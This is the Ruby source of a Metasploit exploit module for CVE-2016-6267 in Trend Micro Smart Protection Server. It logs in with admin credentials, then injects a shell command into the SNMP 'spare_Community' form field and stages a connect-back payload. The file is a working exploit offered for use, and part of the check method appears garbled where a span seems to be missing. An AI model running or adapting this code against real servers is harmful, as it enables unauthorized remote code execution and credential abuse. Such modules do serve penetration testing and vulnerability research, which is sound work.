## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'openssl' require 'base64' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => "Trend Micro Smart Protection Server Exec Remote Code Injection", 'Description' => %q{ This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection. Please note: authentication is required to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Quentin Kaiser ' ], 'References' => [ ['CVE-ID', 'CVE-2016-6267'] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux', {} ] ], 'Payload' => { 'BadChars' => "\x00" }, 'CmdStagerFlavor' => [ 'bourne' ], 'Privileged' => false, 'DefaultOptions' => { 'SSL' => true }, 'DisclosureDate' => "Aug 8 2016", 'DefaultTarget' => 0)) register_options( [ OptBool.new('SSL', [ true, 'Use SSL', true ]), OptString.new('TARGETURI', [true, 'The base path', '/']), OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]), OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]), OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']), OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']), ]) end def check opts = login if opts uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"), 'headers'=> { 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", } }) if res and res.code == 200 version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*]*>([^<]*)[^<]*]*>]*>([^<]*) 'POST', 'version' => '1.0', 'timeout' => 1, 'uri' => normalize_uri(uri, 'php/admin_notification.php'), 'ctype' => 'application/x-www-form-urlencoded', 'headers'=> { 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", }, 'vars_post' => { 'EnableSNMP' => 'on', 'Community' => 'hello', 'submit' => 'Save', 'pubkey' => '', 'spare_EnableSNMP' => 1, 'spare_Community' => "test;#{cmd}", 'spare_EnableIPRestriction' => 0, 'spare_AllowGroupIP' => '', 'spare_AllowGroupNetmask' => '', 'sid' => opts["sid"] } }) end def login uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), }) if res and res.code == 200 and !res.get_cookies.empty? sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first asn1_sequence = OpenSSL::ASN1::Sequence.new( [ OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)), OpenSSL::ASN1::Integer.new("0x10001".to_i(16)) ] ) public_key = OpenSSL::PKey::RSA.new(asn1_sequence) creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}" data = Base64.encode64(public_key.public_encrypt(creds)) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "auth.php"), 'ctype' => 'application/x-www-form-urlencoded', 'headers'=> { 'Cookie' => "#{sid}=#{sid_value}", 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", }, 'vars_post' => { 'data' => data, 'sid' => sid } }) if res and res.code == 302 if res.headers.key?('Set-Cookie') sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first end store_valid_credential(user: datastore['ADMINACCOUNT'], private: datastore['ADMINPASS'], proof: "#{sid}=#{sid_value}") return {"sid" => sid, "sid_value" => sid_value} end end nil end def exploit opts = login if opts print_good("Successfully logged in") print_status("Exploiting...") execute_cmdstager(opts=opts) else print_error("An error occurred while logged in") end end end